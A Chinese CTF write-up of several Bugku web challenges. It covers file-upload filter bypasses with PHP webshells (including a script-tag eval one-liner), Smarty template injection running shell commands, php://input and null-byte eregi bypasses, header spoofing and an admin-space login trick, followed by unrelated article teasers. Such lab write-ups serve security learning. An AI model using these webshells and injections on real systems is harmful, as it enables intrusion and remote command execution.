bugku 2

社工-初步收集

 购买辅助--下载辅助

得到一个zip文件

里面有exe

不知道有啥用

先用dirsearch扫一下

找到/admin/login.php

随便用了个弱口令登录失败

后面看了要用wireshrak抓包

找到邮箱和pass

 把pass解码

本来以为后台直接登录

但是登录失败

就是要用邮箱登录

找到账号和密码

登录成了

网站设置里有flag

秋名山车神

要两秒内计算值  根本不可能

数值还一直在变

import requests #//引入request库
import re 		#//引入re库url = '''http://114.67.175.224:15101/'''
s = requests.session()  #//用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()result = eval(equation)	#//eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value':result}
print(s.post(url, data = key).text)

正则

re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
r''表示内容为原生字符串,防止被转义
(\d+[+\-*])+(\d+):\d+ 表示匹配一个或多个数字;[+-*] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
group()返回字符串

文件上传 

bp抓包 上传php文件

修改类型

1.http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。

2.文件的的Content-Type: application/octet-stream,改成image/jpeg

3.文件后缀名改成php4

蚁剑连接ok

never_give_up  php黑魔法

 看源代码 给了提示1p.html

访问1p.html会直接跳转到bugku什么的

所以要用bp拦截

发包得到一串编码

解码

得到源码了

";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>

stripos函数:返回指定字符的位置。 题目中就是 返回 “.”在 $a 的位置。  配合上if,就是a中不能有 .

file_get_contents:读取指定的文件。题目中是要读取名称为 a 的文件。 并赋值给 data

$a 的值必须为数据流,可是使用php伪协议中的php://input来访问原始请求数据中的只读流,也就是说我们可以在报文主体中post “bugku  is a nice plateform!”,通过php://input来访问。

eregi:这个函数跟 preg_match函数功能一样,实现匹配。但是已经弃用。

            进行不区分大小写的正则表达式匹配

题目的意思是,经过 substr 的 变量b 再拼接 字符串 111 ,用拼接后的字符串 匹配 1114 。
所以一共有以下限制条件:

1、id传参必须存在,且 等于0

2、a传参 不能有 .

3、必须读取到 名为a 的文件,且文件内容是:bugku is a nice plateform!

4、b传参长度大于5

5、b的第一个字符不能等于4,且截取后要与 1114 匹配

此外还有个隐形条件。

传入 id = 0 。会自动跳转到 id =1

绕过方法:

1、id用弱类型比较。 0xg 等于 0  。 (只要是大于十六进制e的字符都可以)

2、利用php伪协议。

a=php://input

post传入:bugku is a nice plateform!

3、利用00截断绕过 eregi

ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节

shell 命令执行

进去之后是空白的 毫无提示

根据提示我们可以猜测需要get 传参s

直接命令执行

ls

cat flag

程序员本地网站

 提示很明显啊

抓包后添加

X-Forwarded--For:127.0.0.1

 聪明的php smarty模板注入

没太看懂 就说flag文件是随机的

那我先用dirsearch扫一下试试

没有什么收获 

搜了一下 parameter是参数的意思

那我穿个参数看看

源码出来了

验证是否是模板注入

判断为 smarty模板注入

根据上面的源代码,我们发现passthru()函数没过滤

ls一下

看下根目录

http://114.67.175.224:10801/?a={{passthru(%27ls%27)}}

看到这个奇奇怪怪的

这里cat被过滤了

用tac来过滤

http://114.67.175.224:10801/?a={{passthru(%27tac%20../../../_27800%27)}}

 login1

进去就是登陆注册页面

我先随便注册了一个账号

但是回显不是管理员

所以一定要用admin才能登录

看看题目提示

 

第一次见 搜一下

参考https://www.cnblogs.com/Sayo-/p/15164269.html

 

根据以上资料

我们利用admin+空格注册一个账号

然后用admin和刚才用的密码来登录admin账户

登录成功

文件包含2

查看页面源代码

 看到upload.php

 

来到这个页面

上马没跑了

上传图片马

修改类型啥的 上传成功了

拿蚁剑连接一下 但是没有一点信息

后来知道是因为

<?php  ?>标签被替换成_了,所以无法解析成php文件,这里要另一种姿势来写一句话木马

 

<script language=php>eval($_POST['shell']);</script>

连接成功了

闪电十六鞭

需要进行代码审计

先点击 这个看看

发现url上面带了很多一坨什么东西

审计一下

点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。

当没有用GET方法传入flag时,会显示Click here的链接。

判断传入的flag长度与$exam是否相同,不同则显示 长度不允许 

 

进行关键字过滤 

get传参的flag如果跟sha1加密后的值相等 则返回flag

 $exam=return'c78158f67a3ed810f14ad631edaedb4b5b24800c';len($exam)=50;

此时再将目光放在过滤的关键字上,发现过滤掉了echo和flag,这是我们实现绕过所必需的两个关键字,只能通过别的方式来替代了

php短标签风格:

①开启短标签风格后,能够正常解析 phpinfo(); ?>这样的代码

②可以使用<?=$a?>进行输出。举个例子:<php? echo 'hello'; ?> 等价于 <?='hello';?>

其次,flag被过滤了,可用先赋其他值,再修改的方法绕过

由于[]也被过滤掉了,我们需要用{}来代替其作用。最后,还要保证的一点就是长度,若长度不够,可以在中间插入无关的字符

 

http://114.67.175.224:12486/?flag=$a=%27flxg%27;$a{2}=%27a%27;11111111111111111;?%3E%3C?=$$a;?%3E

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/257183.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[NISACTF 2022]easyssrf

它提示我们输入 那我们输入file:///flag file:// 访问本地文件系统 它提醒我们输file:///fl4g 它提醒我们输ha1x1ux1u.php 看到代码stristr($file, “file”)当我们输入file它会提示我们输了 啥意思可以前面加个/ 也可以通过read读取 思路都是前面加/不等于flag绕过 filephp://…

Rust 格式化输出

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、format! 宏二、fmt::Debug三、fmt::Display四、? 操作符 循环打印 前言 Rust学习系列-本文根据教程学习Rust的格式化输出&#xff0c;包括fmt::Debug&…

[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析

先看网页 代码审计&#xff1a; error_reporting(0); &#xff1a;关闭报错&#xff0c;代码的错误将不会显示 highlight_file(__FILE__); &#xff1a;将当前文件的源代码显示出来 eval($_GET[url]); &#xff1a;将url的值作为php代码执行 解题&#xff1a; 题目既然允许…

【白话前端】快速区分webGL,webGPU,unity3D和UE4

在3D图形渲染的渲染领域&#xff0c;很多友友们对上述概念傻傻分不清&#xff0c;站在前端开发角度&#xff0c;我用简单语言说下&#xff0c;结论在文章最后。 一、四者都能进行3D图形渲染 它们之间有一些区别&#xff0c;下面我将对它们进行简单的区分&#xff1a; WebGPU&a…

HTTP网络通信协议基础

目录 前言&#xff1a; 1.HTTP协议理论 1.1协议概念 1.2工作原理 1.3工作场景 2.HTTP抓包工具 2.1Fiddler工具 2.2抓包原理 2.3抓包结果 3.HTTP协议格式 3.1HTTP请求 3.2HTTP响应 3.3格式总结 前言&#xff1a; 在了解完网络编程的传输层UDP和TCP通信协议后&#…

相机图像质量研究(7)常见问题总结:光学结构对成像的影响--镜片固化

系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结&#xff1a;光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结&#xff1a;光学结构对成…

Ubuntu Linux使用PL2302串口和minicom进行开发板调试

调试远程的服务器上面的BMC&#xff0c;服务器上面安装了Ubuntu&#xff0c;想着可以在服务器接个串口到BMC&#xff0c;然后SSH到服务器的Ubuntu&#xff0c;用minicom来查看串口信息。 准备&#xff1a; 服务器Ubuntu安装mimicom 本机可以ssh到Ubuntu 串口工具PL2302 或者CH3…

(三十六)大数据实战——ClickHouse数据库的部署安装实现

前言 ClickHouse是俄罗斯的Yandex于2016年开源的列式存储数据库 DBMS &#xff09;&#xff0c;使用C语言编写&#xff0c;主要用于在线分析处理查询&#xff08; OLAP &#xff09;&#xff0c;能够使用SQL查询实时生成分析数据报告。列式存储&#xff1a;数据按列进行存储&a…

Java入门高频考查基础知识9(银盛15问万字参考答案)

JAVA刷题专栏&#xff1a;http://t.csdnimg.cn/9qscL 目录 一、Springcloud的工作原理 三、注册中心心跳是几秒 四、消费者是如何发现服务提供者的 五、多个消费者调⽤用同⼀接口&#xff0c;eruka默认的分配⽅式是什么 六、springboot常用注解&#xff0c;及其实现 七、…

机器学习系列——(二十一)神经网络

引言 在当今数字化时代&#xff0c;机器学习技术正日益成为各行各业的核心。而在机器学习领域中&#xff0c;神经网络是一种备受瞩目的模型&#xff0c;因其出色的性能和广泛的应用而备受关注。本文将深入介绍神经网络&#xff0c;探讨其原理、结构以及应用。 一、简介 神经网…

3分钟部署完成Docker Registry及可视化管理工具Docker-UI

安装docker-registry 由于镜像文件会非常占用空间&#xff0c;因此需要选择一个磁盘充裕的位置来存放镜像数据。 这里设置为&#xff1a;-v /data/registry:/var/lib/registry&#xff0c;其中/data/registry是宿主机存放数据的位置。 docker run -d -p 5000:5000 --restart…

如何才能学好JVM?——零基础入门篇

1. JVM是什么&#xff1f; JVM是Java Virtual Machine的简称&#xff0c;它是一个虚拟的计算机&#xff0c;专门为执行Java程序而设计。 你可以想象它是一个能够运行Java字节码的平台&#xff0c;无论你的程序在Windows、Mac还是Linux上&#xff0c;它们都能通过JVM在这些系统…

片上网络NoC(6)——路由算法

目录 一、概述 二、路由算法的类型 三、避免死锁 四、实现 4.1 源路由实现 4.2 基于节点查找表的路由实现 4.3 组合电路实现 五、总结 一、概述 路由算法&#xff08;routing algorithm&#xff09;&#xff0c;即决定数据包在网络拓扑中从起点到终点路径的算法。路由算…

【医学大模型 知识增强】SMedBERT:结构化语义知识 + 医学大模型 = 显著提升大模型医学文本挖掘性能

SMedBERT&#xff1a;结构化语义知识 医学大模型 显著提升医学文本挖掘任务性能 名词解释结构化语义知识预训练语言模型医学文本挖掘任务 提出背景具体步骤提及-邻居混合注意力机制实体嵌入增强实体描述增强三元组句子增强 提及-邻居上下文建模域内词汇权重学习领域自监督任务…

网络渗透测试:Wireshark抓取qq图片

Wireshark Wireshark Downloadhttps://www.wireshark.org/download.html 简介 WireShark是非常流行的网络封包分析工具&#xff0c;可以截取各种网络数据包&#xff0c;并显示数据包详细信息。常用于开发测试过程中各种问题定位。本文主要内容包括&#xff1a; 1、Wireshar…

安装Centos系统

1.镜像安装 镜像安装:Centos7安装 2.安装过程(直接以图的形式呈现) 选择你已经下载好的镜像 回车即可,等待安装 等待安装即可

单片机学习笔记---串口通信(1)

目录 通信的基本概念 通信的方式 1.按照数据传送的方式&#xff0c;可分为串行通信和并行通信。 1.1串行通信 1.2并行通信 2.按照通信的数据同步方式&#xff0c;又可以分为异步通信和同步通信。 2.1 异步通信 2.2同步通信 3.按照数据的传输方向&#xff0c;又可以分为…

unity 点击事件

目录 点击按钮&#xff0c;显示图片功能教程 第1步添加ui button&#xff0c;添加ui RawImage 第2步 添加脚本&#xff1a; 第3步&#xff0c;把脚本拖拽到button&#xff0c;点击button&#xff0c;设置脚本的变量&#xff0c; GameObject添加 Component组件 点击按钮&am…

Leetcode 452. 用最少数量的箭引爆气球435. 无重叠区间

class Solution {public int findMinArrowShots(int[][] points) {Arrays.sort(points,(o1,o2)->Integer.compare(o1[0], o2[0]));int count1;//箭的数量for(int i1;i<points.length;i) {if(points[i][0]>points[i-1][1]) {count;//边界没重合&#xff0c;又需要一支箭…

高斯伪谱C++封装库开源!

Windows x64/86 C无依赖运行高斯伪谱法求解最优控制问题&#xff0c;你只需要ElegantGP! Author: Y. F. Zhang His Github: https://github.com/ZYunfeii 写在前面 这个库在你下载它的那一时刻起不再依赖任何其他代码&#xff0c;直接可用来构建C的最优控制问题并进行求解。…